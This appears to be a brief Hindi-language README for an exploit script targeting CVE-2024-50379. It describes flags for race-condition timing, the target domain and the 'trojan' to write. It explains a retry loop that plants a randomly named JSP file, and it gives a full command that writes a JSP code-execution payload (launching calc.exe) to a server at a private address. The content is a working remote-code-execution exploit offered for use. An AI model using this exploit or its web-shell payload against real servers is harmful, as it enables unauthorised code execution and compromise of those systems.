CVE-2024-50379-exp

• -t रेस कंडीशन समय
• -u डोमेन नाम
• -f ट्रोजन लिखें

परीक्षण में पाया गया कि पहली रेस कंडीशन में ट्रोजन लिखने में अक्सर विफलता होती है और इसे फिर से रेस कंडीशन चलाने की आवश्यकता होती है ताकि ट्रोजन लिखा जा सके। इसलिए, स्क्रिप्ट पहले 6 सेकंड की निश्चित रेस कंडीशन करेगी और जांचेगी कि ट्रोजन लिखा गया है या नहीं। यदि नहीं, तो यह उपयोगकर्ता-परिभाषित या डिफ़ॉल्ट 10 सेकंड की जांच करेगी। उत्पन्न ट्रोजन रैंडम md5.jsp है।

python .\CVE-2024-50379.py -u http://192.168.31.33:8888/ -f '123456<%Runtime,getRuntime().exec("calc.exe");%>' -t 10

image